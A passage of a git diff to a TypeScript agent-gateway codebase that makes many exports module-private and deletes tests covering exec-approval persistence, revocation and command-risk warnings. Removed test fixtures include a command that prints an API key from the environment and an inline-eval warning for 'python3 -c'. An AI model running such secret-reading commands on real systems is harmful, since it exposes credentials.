DevicePairingList = { +type DevicePairingList = { pending: DevicePairingPendingRequest[]; paired: PairedDevice[]; }; /** Authorization failure categories for owner approval and bootstrap approval flows. */ -export type DevicePairingForbiddenReason = +type DevicePairingForbiddenReason = | "caller-scopes-required" | "caller-missing-scope" | "scope-outside-requested-roles" @@ -115,7 +109,7 @@ export type DevicePairingForbiddenReason = | "bootstrap-scope-not-allowed"; /** Structured forbidden result with the missing/disallowed role or scope when known. */ -export type DevicePairingForbiddenResult = { +type DevicePairingForbiddenResult = { status: "forbidden"; reason: DevicePairingForbiddenReason; scope?: string; @@ -123,7 +117,7 @@ export type DevicePairingForbiddenResult = { }; /** Pairing approval outcome: approved, forbidden with reason, or request not found. */ -export type ApproveDevicePairingResult = +type ApproveDevicePairingResult = | { status: "approved"; requestId: string; device: PairedDevice } | DevicePairingForbiddenResult | null; @@ -948,6 +942,7 @@ export async function approveBootstrapDevicePairing( if (missingScope) { return { status: "forbidden", reason: "bootstrap-scope-not-allowed", scope: missingScope }; } + const now = Date.now(); const existing = state.pairedByDeviceId[pending.deviceId]; const grantedRoles = requestedRoles; diff --git a/src/infra/diagnostic-events.test.ts b/src/infra/diagnostic-events.test.ts index c5afdbf353d4..4132bd991c18 100644 --- a/src/infra/diagnostic-events.test.ts +++ b/src/infra/diagnostic-events.test.ts @@ -22,7 +22,6 @@ import { } from "./diagnostic-events.js"; import { createDiagnosticTraceContext, - resetDiagnosticTraceContextForTest, runWithDiagnosticTraceContext, } from "./diagnostic-trace-context.js"; @@ -33,7 +32,6 @@ describe("diagnostic-events", () => { afterEach(() => { resetDiagnosticEventsForTest(); - resetDiagnosticTraceContextForTest(); vi.restoreAllMocks(); }); diff --git a/src/infra/diagnostic-trace-context.test.ts b/src/infra/diagnostic-trace-context.test.ts index 0bedf107f5d9..df5ae12ef023 100644 --- a/src/infra/diagnostic-trace-context.test.ts +++ b/src/infra/diagnostic-trace-context.test.ts @@ -1,5 +1,5 @@ // Tests diagnostic trace context propagation and reset behavior. -import { afterEach, describe, expect, it } from "vitest"; +import { describe, expect, it } from "vitest"; import { createChildDiagnosticTraceContext, createDiagnosticTraceContext, @@ -11,7 +11,6 @@ import { isValidDiagnosticTraceFlags, isValidDiagnosticTraceId, parseDiagnosticTraceparent, - resetDiagnosticTraceContextForTest, runWithDiagnosticTraceContext, } from "./diagnostic-trace-context.js"; @@ -20,10 +19,6 @@ const SPAN_ID = "00f067aa0ba902b7"; const CHILD_SPAN_ID = "7ad6b9a982deb2c9"; describe("diagnostic-trace-context", () => { - afterEach(() => { - resetDiagnosticTraceContextForTest(); - }); - it("validates W3C trace ids, span ids, and trace flags", () => { expect(isValidDiagnosticTraceId(TRACE_ID)).toBe(true); expect(isValidDiagnosticSpanId(SPAN_ID)).toBe(true); diff --git a/src/infra/diagnostic-trace-context.ts b/src/infra/diagnostic-trace-context.ts index d725e6d6a4e6..a4777399f3fc 100644 --- a/src/infra/diagnostic-trace-context.ts +++ b/src/infra/diagnostic-trace-context.ts @@ -242,8 +242,3 @@ export function runWithDiagnosticTraceContext( ): T { return getDiagnosticTraceScopeState().storage.run(freezeDiagnosticTraceContext(trace), callback); } - -/** Clears async-local trace context state between tests. */ -export function resetDiagnosticTraceContextForTest(): void { - getDiagnosticTraceScopeState().storage.disable(); -} diff --git a/src/infra/dispatch-wrapper-resolution.ts b/src/infra/dispatch-wrapper-resolution.ts index bce17b828194..47cc1c45bff0 100644 --- a/src/infra/dispatch-wrapper-resolution.ts +++ b/src/infra/dispatch-wrapper-resolution.ts @@ -9,8 +9,6 @@ import { import { normalizeExecutableToken } from "./exec-wrapper-tokens.js"; import { parseInlineOptionToken } from "./inline-option-token.js"; -export { unwrapEnvInvocation } from "./command-carriers.js"; - export const MAX_DISPATCH_WRAPPER_DEPTH = 4; const NICE_OPTIONS_WITH_VALUE = new Set(["-n", "--adjustment", "--priority"]); diff --git a/src/infra/ed25519-signature.test.ts b/src/infra/ed25519-signature.test.ts index 4fcb1c683b0e..1cef7066359f 100644 --- a/src/infra/ed25519-signature.test.ts +++ b/src/infra/ed25519-signature.test.ts @@ -1,12 +1,7 @@ import { describe, expect, it } from "vitest"; -import { base64UrlDecode, base64UrlEncode } from "./ed25519-signature.ts"; +import { base64UrlDecode } from "./ed25519-signature.ts"; describe("base64UrlDecode", () => { - it("decodes a fixed-size ed25519 public key without throwing", () => { - const key = base64UrlEncode(Buffer.alloc(32, 7)); - expect(base64UrlDecode(key).length).toBe(32); - }); - it("throws on input exceeding the maximum allowed length", () => { // MAX_BASE64URL_DECODE_INPUT_LENGTH is 4096; 5000 is safely over it. const oversized = "A".repeat(5000); diff --git a/src/infra/ed25519-signature.ts b/src/infra/ed25519-signature.ts index e31d4ff1e8d3..bdb3e13723ea 100644 --- a/src/infra/ed25519-signature.ts +++ b/src/infra/ed25519-signature.ts @@ -3,7 +3,7 @@ import crypto from "node:crypto"; const ED25519_SPKI_PREFIX = Buffer.from("302a300506032b6570032100", "hex"); const ED25519_PKCS8_PRIVATE_PREFIX = Buffer.from("302e020100300506032b657004220420", "hex"); -export function base64UrlEncode(buf: Buffer): string { +function base64UrlEncode(buf: Buffer): string { return buf.toString("base64").replaceAll("+", "-").replaceAll("/", "_").replace(/=+$/g, ""); } diff --git a/src/infra/event-session-routing.test.ts b/src/infra/event-session-routing.test.ts index 2c2cb2a95b93..d061eda3d7d5 100644 --- a/src/infra/event-session-routing.test.ts +++ b/src/infra/event-session-routing.test.ts @@ -2,7 +2,6 @@ import { describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; import { - parseDirectAgentSessionTarget, resolveEventSessionKeyForPolicy, resolveEventSessionRoutingPolicy, resolveMainScopedEventSessionKey, @@ -10,32 +9,6 @@ import { } from "./event-session-routing.js"; describe("event session routing", () => { - it("parses per-peer, per-channel, and per-account direct session keys", () => { - expect(parseDirectAgentSessionTarget("agent:main:direct:123")).toEqual({ - agentId: "main", - peerId: "123", - }); - expect(parseDirectAgentSessionTarget("agent:main:telegram:direct:123")).toEqual({ - agentId: "main", - channel: "telegram", - peerId: "123", - }); - expect(parseDirectAgentSessionTarget("agent:main:telegram:work:direct:123")).toEqual({ - agentId: "main", - channel: "telegram", - accountId: "work", - peerId: "123", - }); - expect( - parseDirectAgentSessionTarget("agent:main:telegram:work:direct:123:thread:1712345678.123"), - ).toEqual({ - agentId: "main", - channel: "telegram", - accountId: "work", - peerId: "123", - }); - }); - it("routes single-owner dmScope=main direct event keys to the agent main session", () => { const cfg: OpenClawConfig = { session: { dmScope: "main" }, diff --git a/src/infra/event-session-routing.ts b/src/infra/event-session-routing.ts index 9c814f76c8b9..e1d83204378f 100644 --- a/src/infra/event-session-routing.ts +++ b/src/infra/event-session-routing.ts @@ -66,7 +66,7 @@ function normalizeEntry(value: string): string | undefined { } /** Parse an agent direct-session key into channel/account/peer routing parts. */ -export function parseDirectAgentSessionTarget( +function parseDirectAgentSessionTarget( sessionKey: string | undefined | null, ): DirectSessionTarget | null { const { baseSessionKey } = parseThreadSessionSuffix(sessionKey); diff --git a/src/infra/exec-approval-forwarder.test.ts b/src/infra/exec-approval-forwarder.test.ts index 1ad4defb142e..a23ecbc05a34 100644 --- a/src/infra/exec-approval-forwarder.test.ts +++ b/src/infra/exec-approval-forwarder.test.ts @@ -6,10 +6,7 @@ import type { ChannelPlugin } from "../channels/plugins/types.public.js"; import type { OpenClawConfig } from "../config/config.js"; import { setActivePluginRegistry } from "../plugins/runtime.js"; import { createChannelTestPluginBase, createTestRegistry } from "../test-utils/channel-plugins.js"; -import { - buildExecApprovalRequestMessage, - createExecApprovalForwarder, -} from "./exec-approval-forwarder.js"; +import { createExecApprovalForwarder } from "./exec-approval-forwarder.js"; import type { ExecApprovalRequest } from "./exec-approvals.js"; const { mockLogError } = vi.hoisted(() => ({ mockLogError: vi.fn() })); @@ -637,26 +634,6 @@ describe("exec approval forwarder", () => { expect(text).toContain("Reply with: /approve req-1 allow-once|allow-always|deny"); }); - it("includes command analysis warnings in fallback delivery text", () => { - const text = buildExecApprovalRequestMessage( - { - ...baseRequest, - request: { - ...baseRequest.request, - commandAnalysis: { - commandCount: 1, - nestedCommandCount: 0, - riskKinds: ["inline-eval"], - warningLines: ["Contains inline-eval: python3 -c"], - }, - }, - }, - 1000, - ); - expect(text).toContain("Command analysis:"); - expect(text).toContain("- Contains inline-eval: python3 -c"); - }); - it("omits allow-always from forwarded fallback text when ask=always", async () => { vi.useFakeTimers(); const { deliver, forwarder } = createForwarder({ cfg: TARGETS_CFG }); diff --git a/src/infra/exec-approval-forwarder.ts b/src/infra/exec-approval-forwarder.ts index 117b38cb96d7..3b0fe8014a79 100644 --- a/src/infra/exec-approval-forwarder.ts +++ b/src/infra/exec-approval-forwarder.ts @@ -227,7 +227,7 @@ function formatApprovalCommand(command: string): { inline: boolean; text: string return { inline: false, text: formatFencedCodeBlock(command) }; } -export function buildExecApprovalRequestMessage(request: ExecApprovalRequest, nowMs: number) { +function buildExecApprovalRequestMessage(request: ExecApprovalRequest, nowMs: number) { const allowedDecisions = resolveExecApprovalRequestAllowedDecisions(request.request); const decisionText = allowedDecisions.join("|"); const lines: string[] = ["🔒 Exec approval required", `ID: ${request.id}`]; diff --git a/src/infra/exec-approval-policy-snapshot.ts b/src/infra/exec-approval-policy-snapshot.ts index 805d27e6a44c..abe51126929d 100644 --- a/src/infra/exec-approval-policy-snapshot.ts +++ b/src/infra/exec-approval-policy-snapshot.ts @@ -1,5 +1,5 @@ // Canonicalizes the portable policy snapshot carried with delayed exec approvals. -export type ExecApprovalPolicyRule = { +type ExecApprovalPolicyRule = { pattern: string; argPattern?: string; source?: "allow-always"; diff --git a/src/infra/exec-approvals-effective.ts b/src/infra/exec-approvals-effective.ts index 30257e075446..bc9f4c2a85d2 100644 --- a/src/infra/exec-approvals-effective.ts +++ b/src/infra/exec-approvals-effective.ts @@ -113,7 +113,7 @@ function formatModeSource(params: { sourcePath: string; configPath: string }): s } type ExecPolicyField = "security" | "ask" | "askFallback"; -export type ExecPolicyHostDefaults = Pick< +type ExecPolicyHostDefaults = Pick< Required, "security" | "ask" | "askFallback" >; diff --git a/src/infra/exec-approvals-safe-bins.test.ts b/src/infra/exec-approvals-safe-bins.test.ts index 4606f01032ad..c7b391336081 100644 --- a/src/infra/exec-approvals-safe-bins.test.ts +++ b/src/infra/exec-approvals-safe-bins.test.ts @@ -15,11 +15,7 @@ import { normalizeSafeBins, resolveSafeBins, } from "./exec-approvals.js"; -import { - SAFE_BIN_PROFILE_FIXTURES, - SAFE_BIN_PROFILES, - resolveSafeBinProfiles, -} from "./exec-safe-bin-policy.js"; +import { resolveSafeBinProfiles } from "./exec-safe-bin-policy.js"; import { getTrustedSafeBinDirs } from "./exec-safe-bin-trust.js"; describe("exec approvals safe bins", () => { @@ -506,23 +502,6 @@ describe("exec approvals safe bins", () => { ).toBe(false); }); - it("keeps safe-bin profile fixtures aligned with compiled profiles", () => { - for (const [name, fixture] of Object.entries(SAFE_BIN_PROFILE_FIXTURES)) { - const profile = SAFE_BIN_PROFILES[name]; - if (profile === undefined) { - throw new Error(`missing compiled safe-bin profile fixture ${name}`); - } - const fixtureDeniedFlags = fixture.deniedFlags ?? []; - const compiledDeniedFlags = profile.deniedFlags ?? new Set(); - for (const deniedFlag of fixtureDeniedFlags) { - expect(compiledDeniedFlags.has(deniedFlag)).toBe(true); - } - expect(Array.from(compiledDeniedFlags).toSorted()).toEqual( - [...fixtureDeniedFlags].toSorted(), - ); - } - }); - it("does not include sort/grep in default safeBins", () => { const defaults = resolveSafeBins(undefined); expect(defaults.has("jq")).toBe(false); diff --git a/src/infra/exec-approvals-store.test.ts b/src/infra/exec-approvals-store.test.ts index 323d804921ed..0d16203f4f00 100644 --- a/src/infra/exec-approvals-store.test.ts +++ b/src/infra/exec-approvals-store.test.ts @@ -24,11 +24,9 @@ let createExecApprovalPolicySnapshot: ExecApprovalsModule["createExecApprovalPol let loadExecApprovals: ExecApprovalsModule["loadExecApprovals"]; let mergeExecApprovalsSocketDefaults: ExecApprovalsModule["mergeExecApprovalsSocketDefaults"]; let normalizeExecApprovals: ExecApprovalsModule["normalizeExecApprovals"]; -let persistAllowAlwaysDecision: ExecApprovalsModule["persistAllowAlwaysDecisionLocked"]; let persistAllowAlwaysDecisionSync: ExecApprovalsModule["persistAllowAlwaysDecision"]; let persistAllowAlwaysPatterns: ExecApprovalsModule["persistAllowAlwaysPatterns"]; let readExecApprovalsSnapshot: ExecApprovalsModule["readExecApprovalsSnapshot"]; -let recordAllowlistMatchesUse: ExecApprovalsModule["recordAllowlistMatchesUseLocked"]; let recordAllowlistMatchesUseSync: ExecApprovalsModule["recordAllowlistMatchesUse"]; let requestExecApprovalViaSocket: ExecApprovalsModule["requestExecApprovalViaSocket"]; let restoreExecApprovalsSnapshotLocked: ExecApprovalsModule["restoreExecApprovalsSnapshotLocked"]; @@ -53,11 +51,9 @@ beforeAll(async () => { loadExecApprovals = module.loadExecApprovals; mergeExecApprovalsSocketDefaults = module.mergeExecApprovalsSocketDefaults; normalizeExecApprovals = module.normalizeExecApprovals; - persistAllowAlwaysDecision = module.persistAllowAlwaysDecisionLocked; persistAllowAlwaysDecisionSync = module.persistAllowAlwaysDecision; persistAllowAlwaysPatterns = module.persistAllowAlwaysPatterns; readExecApprovalsSnapshot = module.readExecApprovalsSnapshot; - recordAllowlistMatchesUse = module.recordAllowlistMatchesUseLocked; recordAllowlistMatchesUseSync = module.recordAllowlistMatchesUse; requestExecApprovalViaSocket = module.requestExecApprovalViaSocket; restoreExecApprovalsSnapshotLocked = module.restoreExecApprovalsSnapshotLocked; @@ -1238,53 +1234,6 @@ describe("exec approvals store helpers", () => { }, ); - it("persists exact-command allow-always decisions as durable command approvals", async () => { - const dir = createHomeDir(); - vi.spyOn(Date, "now").mockReturnValue(321_000); - - ensureExecApprovals(); - await persistAllowAlwaysDecision({ - agentId: "worker", - decision: { - kind: "exact-command", - commandText: 'printenv API_KEY="secret-value"', - }, - }); - - const allowlist = allowlistEntries(dir, "worker"); - expect(allowlist).toHaveLength(1); - expectAllowlistEntryFields(allowlist[0] ?? {}, { - source: "allow-always", - lastUsedAt: 321_000, - }); - expect(allowlist[0]?.pattern).toMatch(/^=command:[0-9a-f]{16}$/i); - expect(allowlist[0]).not.toHaveProperty("commandText"); - }); - - it("applies allow-always grants to the latest file after a concurrent policy write", async () => { - const dir = createHomeDir(); - ensureExecApprovals(); - const snapshot = readExecApprovalsSnapshot(); - - const policyWrite = updateExecApprovals({ - baseHash: snapshot.hash, - update: (current) => ({ - ...current, - defaults: { ...current.defaults, security: "deny" }, - }), - }); - const grantWrite = persistAllowAlwaysDecision({ - agentId: "worker", - decision: { kind: "exact-command", commandText: "echo approved" }, - }); - await Promise.all([policyWrite, grantWrite]); - - expect(readApprovalsFile(dir).defaults?.security).toBe("deny"); - expect(allowlistEntries(dir, "worker")).toEqual([ - expect.objectContaining({ source: "allow-always" }), - ]); - }); - it("strips legacy plaintext command text during normalization", () => { const normalized = normalizeExecApprovals({ version: 1, @@ -1307,221 +1256,6 @@ describe("exec approvals store helpers", () => { expect(allowlist[0]).not.toHaveProperty("commandText"); }); - it("preserves source and argPattern metadata for allow-always entries", async () => { - const dir = createHomeDir(); - vi.spyOn(Date, "now").mockReturnValue(321_000); - - ensureExecApprovals(); - await persistAllowAlwaysDecision({ - agentId: "worker", - decision: { - kind: "patterns", - patterns: [ - { pattern: "/usr/bin/python3", argPattern: "^script\\.py\x00$" }, - { pattern: "/usr/bin/python3", argPattern: "^script\\.py\x00$" }, - { pattern: "/usr/bin/python3", argPattern: "^other\\.py\x00$" }, - ], - }, - }); - - const allowlist = allowlistEntries(dir, "worker"); - expect(allowlist).toHaveLength(2); - expectAllowlistEntryFields(allowlist[0] ?? {}, { - pattern: "/usr/bin/python3", - argPattern: "^script\\.py\x00$", - source: "allow-always", - lastUsedAt: 321_000, - }); - expectAllowlistEntryFields(allowlist[1] ?? {}, { - pattern: "/usr/bin/python3", - argPattern: "^other\\.py\x00$", - source: "allow-always", - lastUsedAt: 321_000, - }); - }); - - it("preserves whitespace-only argPattern bytes for allow-always entries", async () => { - const dir = createHomeDir(); - - ensureExecApprovals(); - await persistAllowAlwaysDecision({ - agentId: "worker", - decision: { - kind: "patterns", - patterns: [{ pattern: "*", argPattern: " " }], - }, - }); - - expect(allowlistEntries(dir, "worker")).toEqual([ - expect.objectContaining({ - pattern: "*", - argPattern: " ", - source: "allow-always", - }), - ]); - }); - - it("records allowlist usage on the matching entry and backfills missing ids", async () => { - const dir = createHomeDir(); - vi.spyOn(Date, "now").mockReturnValue(999_000); - - const approvals: ExecApprovalsFile = { - version: 1, - agents: { - main: { - allowlist: [{ pattern: "/usr/bin/rg" }, { pattern: "/usr/bin/jq", id: "keep-id" }], - }, - }, - }; - fs.mkdirSync(path.dirname(approvalsFilePath(dir)), { recursive: true }); - fs.writeFileSync(approvalsFilePath(dir), JSON.stringify(approvals, null, 2), "utf8"); - - await recordAllowlistMatchesUse({ - agentId: undefined, - matches: [{ pattern: "/usr/bin/rg" }], - command: "rg needle", - resolvedPath: "/opt/homebrew/bin/rg", - }); - - const allowlist = allowlistEntries(dir, "main"); - expect(allowlist).toHaveLength(2); - expectAllowlistEntryFields(allowlist[0] ?? {}, { - pattern: "/usr/bin/rg", - lastUsedAt: 999_000, - lastUsedCommand: "rg needle", - lastResolvedPath: "/opt/homebrew/bin/rg", - }); - expect(allowlist[0]?.id).toMatch(/^[0-9a-f-]{36}$/i); - expect(allowlist[1]).toEqual({ pattern: "/usr/bin/jq", id: "keep-id" }); - }); - - it("dedupes allowlist usage by pattern and argPattern", async () => { - const dir = createHomeDir(); - vi.spyOn(Date, "now").mockReturnValue(777_000); - - const approvals: ExecApprovalsFile = { - version: 1, - agents: { - main: { - allowlist: [ - { pattern: "/usr/bin/python3", argPattern: "^a\\.py\x00$" }, - { pattern: "/usr/bin/python3", argPattern: "^b\\.py\x00$" }, - ], - }, - }, - }; - fs.mkdirSync(path.dirname(approvalsFilePath(dir)), { recursive: true }); - fs.writeFileSync(approvalsFilePath(dir), JSON.stringify(approvals, null, 2), "utf8"); - - await recordAllowlistMatchesUse({ - agentId: undefined, - matches: [ - { pattern: "/usr/bin/python3", argPattern: "^a\\.py\x00$" }, - { pattern: "/usr/bin/python3", argPattern: "^a\\.py\x00$" }, - { pattern: "/usr/bin/python3", argPattern: "^b\\.py\x00$" }, - ], - command: "python3 a.py", - resolvedPath: "/usr/bin/python3", - }); - - const allowlist = allowlistEntries(dir, "main"); - expect(allowlist).toHaveLength(2); - expectAllowlistEntryFields(allowlist[0] ?? {}, { - pattern: "/usr/bin/python3", - argPattern: "^a\\.py\x00$", - lastUsedAt: 777_000, - }); - expectAllowlistEntryFields(allowlist[1] ?? {}, { - pattern: "/usr/bin/python3", - argPattern: "^b\\.py\x00$", - lastUsedAt: 777_000, - }); - }); - - it("does not restore a revoked entry across initialization and usage writeback", async () => { - const dir = createHomeDir(); - const approvalsPath = approvalsFilePath(dir); - fs.mkdirSync(path.dirname(approvalsPath), { recursive: true }); - fs.writeFileSync( - approvalsPath, - `${JSON.stringify( - { - version: 1, - defaults: { security: "allowlist" }, - agents: { - main: { - allowlist: [ - { pattern: "/usr/bin/rg", id: "rg-id" }, - { pattern: "/usr/bin/jq", id: "jq-id" }, - ], - }, - }, - }, - null, - 2, - )}\n`, - ); - const stale = readExecApprovalsSnapshot(); - const revoke = updateExecApprovals({ - baseHash: stale.hash, - update: (current) => ({ - ...current, - agents: { - ...current.agents, - main: { allowlist: [{ pattern: "/usr/bin/jq", id: "jq-id" }] }, - }, - }), - }); - const ensure = ensureExecApprovalsSnapshot(); - const usage = recordAllowlistMatchesUse({ - agentId: "main", - matches: [{ pattern: "/usr/bin/rg", id: "rg-id" }], - command: "rg needle", - }); - - await Promise.all([revoke, ensure, usage]); - - const persisted = readApprovalsFile(dir); - expect(persisted.socket?.token).toMatch(/^[A-Za-z0-9_-]{32}$/); - expect(persisted.agents?.main?.allowlist).toEqual([{ pattern: "/usr/bin/jq", id: "jq-id" }]); - }); - - it("rejects reusable execution after its current approval is revoked", async () => { - const dir = createHomeDir(); - const approvalsPath = approvalsFilePath(dir); - fs.mkdirSync(path.dirname(approvalsPath), { recursive: true }); - fs.writeFileSync( - approvalsPath, - JSON.stringify({ - version: 1, - defaults: { security: "allowlist", ask: "off" }, - agents: { main: { allowlist: [{ pattern: "/usr/bin/rg", id: "rg-id" }] } }, - }), - ); - - await updateExecApprovals({ - update: (current) => ({ - ...current, - agents: { ...current.agents, main: { allowlist: [] } }, - }), - }); - - await expect( - recordAllowlistMatchesUse({ - agentId: "main", - matches: [{ pattern: "/usr/bin/rg", id: "rg-id" }], - command: "rg needle", - authorization: { - source: "current-policy", - security: "allowlist", - ask: "off", - allowlistSatisfied: true, - }, - }), - ).rejects.toThrow("Exec approval changed before execution"); - expect(readApprovalsFile(dir).agents?.main?.allowlist).toEqual([]); - }); - it("rejects reusable execution when its matched argPattern bytes change", async () => { const dir = createHomeDir(); saveExecApprovals({ @@ -1577,214 +1311,6 @@ describe("exec approvals store helpers", () => { expect(readApprovalsFile(dir).agents?.main?.allowlist).toEqual([currentEntry]); }); - it("rejects reusable execution when current policy changes to deny", async () => { - const dir = createHomeDir(); - const approvalsPath = approvalsFilePath(dir); - fs.mkdirSync(path.dirname(approvalsPath), { recursive: true }); - fs.writeFileSync( - approvalsPath, - JSON.stringify({ - version: 1, - defaults: { security: "deny", ask: "off" }, - agents: { main: { allowlist: [{ pattern: "/usr/bin/rg", id: "rg-id" }] } }, - }), - ); - - await expect( - recordAllowlistMatchesUse({ - agentId: "main", - matches: [{ pattern: "/usr/bin/rg", id: "rg-id" }], - command: "rg needle", - authorization: { - source: "current-policy", - security: "allowlist", - ask: "off", - allowlistSatisfied: true, - }, - }), - ).rejects.toThrow("Exec approval changed before execution"); - expect(readApprovalsFile(dir).agents?.main?.allowlist?.[0]?.lastUsedAt).toBeUndefined(); - }); - - it("rejects reusable execution after its exact-command approval is revoked", async () => { - const dir = createHomeDir(); - const approvalsPath = approvalsFilePath(dir); - fs.mkdirSync(path.dirname(approvalsPath), { recursive: true }); - fs.writeFileSync( - approvalsPath, - JSON.stringify({ - version: 1, - defaults: { security: "allowlist", ask: "off" }, - agents: { main: { allowlist: [] } }, - }), - ); - const command = "printf exact-command"; - await persistAllowAlwaysDecision({ - agentId: "main", - decision: { kind: "exact-command", commandText: command }, - }); - await updateExecApprovals({ - update: (current) => ({ - ...current, - agents: { ...current.agents, main: { allowlist: [] } }, - }), - }); - - await expect( - recordAllowlistMatchesUse({ - agentId: "main", - matches: [], - command, - authorization: { - source: "current-policy", - security: "allowlist", - ask: "off", - allowlistSatisfied: false, - requireExactCommandApproval: true, - }, - }), - ).rejects.toThrow("Exec approval changed before execution"); - }); - - it("rejects reusable skill execution after autoAllowSkills is removed", async () => { - const dir = createHomeDir(); - const approvalsPath = approvalsFilePath(dir); - fs.mkdirSync(path.dirname(approvalsPath), { recursive: true }); - fs.writeFileSync( - approvalsPath, - JSON.stringify({ - version: 1, - defaults: { security: "allowlist", ask: "off" }, - agents: { main: {} }, - }), - ); - - await expect( - recordAllowlistMatchesUse({ - agentId: "main", - matches: [], - command: "skill-tool", - authorization: { - source: "current-policy", - security: "allowlist", - ask: "off", - allowlistSatisfied: true, - requireAutoAllowSkills: true, - }, - }), - ).rejects.toThrow("Exec approval changed before execution"); - }); - - it("rejects timed-out execution after askFallback is revoked", async () => { - const dir = createHomeDir(); - const approvalsPath = approvalsFilePath(dir); - fs.mkdirSync(path.dirname(approvalsPath), { recursive: true }); - fs.writeFileSync( - approvalsPath, - JSON.stringify({ - version: 1, - defaults: { security: "full", ask: "on-miss", askFallback: "deny" }, - }), - ); - - await expect( - recordAllowlistMatchesUse({ - agentId: "main", - matches: [], - command: "printf fallback", - authorization: { - source: "ask-fallback", - security: "full", - ask: "on-miss", - allowlistSatisfied: false, - }, - }), - ).rejects.toThrow("Exec approval changed before execution"); - }); - - it("rejects a full fallback when current policy tightens to allowlist", async () => { - const dir = createHomeDir(); - const approvalsPath = approvalsFilePath(dir); - fs.mkdirSync(path.dirname(approvalsPath), { recursive: true }); - fs.writeFileSync( - approvalsPath, - JSON.stringify({ - version: 1, - defaults: { security: "full", ask: "always", askFallback: "allowlist" }, - agents: { main: { allowlist: [{ pattern: "/usr/bin/rg" }] } }, - }), - ); - - await expect( - recordAllowlistMatchesUse({ - agentId: "main", - matches: [{ pattern: "/usr/bin/rg" }], - command: "rg needle", - authorization: { - source: "ask-fallback", - security: "full", - ask: "always", - allowlistSatisfied: true, - }, - }), - ).rejects.toThrow("Exec approval changed before execution"); - }); - - it("accepts a current full askFallback after an always-ask timeout", async () => { - const dir = createHomeDir(); - const approvalsPath = approvalsFilePath(dir); - fs.mkdirSync(path.dirname(approvalsPath), { recursive: true }); - fs.writeFileSync( - approvalsPath, - JSON.stringify({ - version: 1, - defaults: { security: "full", ask: "always", askFallback: "full" }, - }), - ); - - await expect( - recordAllowlistMatchesUse({ - agentId: "main", - matches: [], - command: "printf fallback", - authorization: { - source: "ask-fallback", - security: "full", - ask: "always", - allowlistSatisfied: false, - }, - }), - ).resolves.toBeUndefined(); - }); - - it("rejects an allowlist askFallback after its matched entry is revoked", async () => { - const dir = createHomeDir(); - const approvalsPath = approvalsFilePath(dir); - fs.mkdirSync(path.dirname(approvalsPath), { recursive: true }); - fs.writeFileSync( - approvalsPath, - JSON.stringify({ - version: 1, - defaults: { security: "full", ask: "always", askFallback: "allowlist" }, - agents: { main: { allowlist: [] } }, - }), - ); - - await expect( - recordAllowlistMatchesUse({ - agentId: "main", - matches: [{ pattern: "/usr/bin/rg" }], - command: "rg needle", - authorization: { - source: "ask-fallback", - security: "allowlist", - ask: "always", - allowlistSatisfied: true, - }, - }), - ).rejects.toThrow("Exec approval changed before execution"); - }); - it("normalizes legacy allowlist sources in portable policy snapshots", () => { const dir = createHomeDir(); const approvalsPath = approvalsFilePath(dir); @@ -1941,6 +1467,7 @@ describe("exec approvals store helpers", () => { it("commits an explicit allow-always grant after current-policy authorization", async () => { const dir = createHomeDir(); + vi.spyOn(Date, "now").mockReturnValue(321_000); saveExecApprovals({ version: 1, defaults: { security: "allowlist", ask: "always" }, @@ -1972,8 +1499,10 @@ describe("exec approvals store helpers", () => { expect.objectContaining({ pattern: expect.stringMatching(/^=command:/), source: "allow-always", + lastUsedAt: 321_000, }), ]); + expect(allowlistEntries(dir, "main")[0]).not.toHaveProperty("commandText"); }); it("preserves concurrent explicit allow-always grants from the same policy snapshot", async () => { diff --git a/src/infra/exec-approvals.ts b/src/infra/exec-approvals.ts index 96feeaab3f31..bdf6d37fbf6f 100644 --- a/src/infra/exec-approvals.ts +++ b/src/infra/exec-approvals.ts @@ -1995,7 +1995,7 @@ export function hasExactCommandDurableExecApproval(params: { ); } -export type DurableExecApprovalRequirement = "exact-command" | "segment-allowlist"; +type DurableExecApprovalRequirement = "exact-command" | "segment-allowlist"; /** Callers pass whether their final, post-gate authorization depends on a durable grant. */ export function resolveDurableExecApprovalRequirement(params: { @@ -2338,22 +2338,6 @@ function applyRecordedAllowlistMetadata(params: { } : null; } - -export async function recordAllowlistMatchesUseLocked(params: { - agentId: string | undefined; - matches: readonly ExecAllowlistEntry[]; - command: string; - resolvedPath?: string; - authorization?: ExecApprovalUsageAuthorization; -}): Promise { - if (params.matches.length === 0 && !params.authorization) { - return; - } - await updateExecApprovals({ - update: (file) => applyRecordedAllowlistUse({ ...params, file }), - }); -} - export async function commitExecAuthorizationLocked(params: { agentId: string | undefined; matches: readonly ExecAllowlistEntry[]; @@ -2755,20 +2739,6 @@ function applyAllowAlwaysDecision(params: { } return changed ? next : null; } - -export async function persistAllowAlwaysDecisionLocked(params: { - agentId: string | undefined; - decision: AllowAlwaysPersistenceDecision; -}): Promise { - const decision = params.decision; - if (decision.kind === "one-shot") { - return; - } - await updateExecApprovals({ - update: (file) => applyAllowAlwaysDecision({ file, agentId: params.agentId, decision }), - }); -} - export function minSecurity(a: ExecSecurity, b: ExecSecurity): ExecSecurity { const order: Record = { deny: 0, allowlist: 1, full: 2 }; return order[a] <= order[b] ? a : b; diff --git a/src/infra/exec-authorization-plan.ts b/src/infra/exec-authorization-plan.ts index 67f64165b5b7..16e647608ed2 100644 --- a/src/infra/exec-authorization-plan.ts +++ b/src/infra/exec-authorization-plan.ts @@ -28,11 +28,11 @@ import { POSIX_SHELL_WRAPPERS } from "./shell-wrapper-resolution.js"; const POSIX_SHELL_NAMES: ReadonlySet = new Set(POSIX_SHELL_WRAPPERS); -export type ExecAuthorizationDialect = "argv" | "posix-shell" | "windows-cmd" | "powershell"; +type ExecAuthorizationDialect = "argv" | "posix-shell" | "windows-cmd" | "powershell"; type ExecAuthorizationRelationship = "simple" | "pipeline"; -export type ExecAuthorizationTransport = +type ExecAuthorizationTransport = | { kind: "direct" } | { kind: "shell-wrapper"; @@ -42,7 +42,7 @@ export type ExecAuthorizationTransport = inlineCommand: string; }; -export type ExecAuthorizationTrustMode = "executable" | "exact-command" | "prompt-only"; +type ExecAuthorizationTrustMode = "executable" | "exact-command" | "prompt-only"; export type ExecAuthorizationCandidate = { sourceSegment: ExecCommandSegment; @@ -54,7 +54,7 @@ export type ExecAuthorizationCandidate = { reasons: string[]; }; -export type ExecAuthorizationGroup = { +type ExecAuthorizationGroup = { opToNext?: ShellChainOperator | null; candidates: ExecAuthorizationCandidate[]; }; diff --git a/src/infra/exec-authorization-render.ts b/src/infra/exec-authorization-render.ts index d2e90fb49a33..0f98bf7df7ed 100644 --- a/src/infra/exec-authorization-render.ts +++ 